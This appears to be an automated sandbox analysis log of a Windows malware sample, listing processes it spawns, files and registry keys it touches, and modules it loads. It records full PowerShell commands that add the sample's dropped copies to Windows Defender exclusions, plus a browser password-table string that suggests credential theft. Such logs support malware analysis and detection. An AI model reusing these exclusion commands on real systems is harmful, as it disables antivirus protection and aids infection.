Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5Fy0uw1b5e.42.dr, cllr76bDV9.42.dr, t4hPCSyuEk.42.dr, M2xawtJm3S.42.dr, GFkjKm2kK6.42.dr, XV7FfjR3k3.42.dr, VozeH9k411.42.dr, lu5Ok6oZAA.42.dr, ru0cCMfOZM.42.dr, 7uVTqDMLaJ.42.dr, W8OucY6TmD.42.dr, vbFvtjLtzM.42.dr, jlaPUNqOCt.42.dr, q5HwWum2Pa.42.dr, TCmXcUincP.42.dr, Jo1Cw3JxnI.42.dr, 5t0bTQVeyB.42.dr, SIiV9IeZHD.42.dr, seIA3Z5KvR.42.dr, rd2JgmMYal.42.dr, dOuvFS3nnQ.42.dr, WX539jlQD3.42.dr, sPRwPb3Xfl.42.dr, F15rHHynYz.42.dr, CzzkECzBuY.42.dr, TpVsXkEky0.42.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 0wdppTE7Op.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

File read: C:\Users\user\Desktop\0wdppTE7Op.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0wdppTE7Op.exe "C:\Users\user\Desktop\0wdppTE7Op.exe"
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8919.tmp" "c:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP"
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\0wdppTE7Op.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\0wdppTE7Op.exe C:\Users\user\Desktop\0wdppTE7Op.exe
Source: unknown	Process created: C:\Users\user\Desktop\0wdppTE7Op.exe C:\Users\user\Desktop\0wdppTE7Op.exe
Source: unknown	Process created: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\0wdppTE7Op.exe "C:\Users\user\Desktop\0wdppTE7Op.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Users\user\Desktop\0wdppTE7Op.exe "C:\Users\user\Desktop\0wdppTE7Op.exe"
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\0wdppTE7Op.exe'	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8919.tmp" "c:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\0wdppTE7Op.exe "C:\Users\user\Desktop\0wdppTE7Op.exe"

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
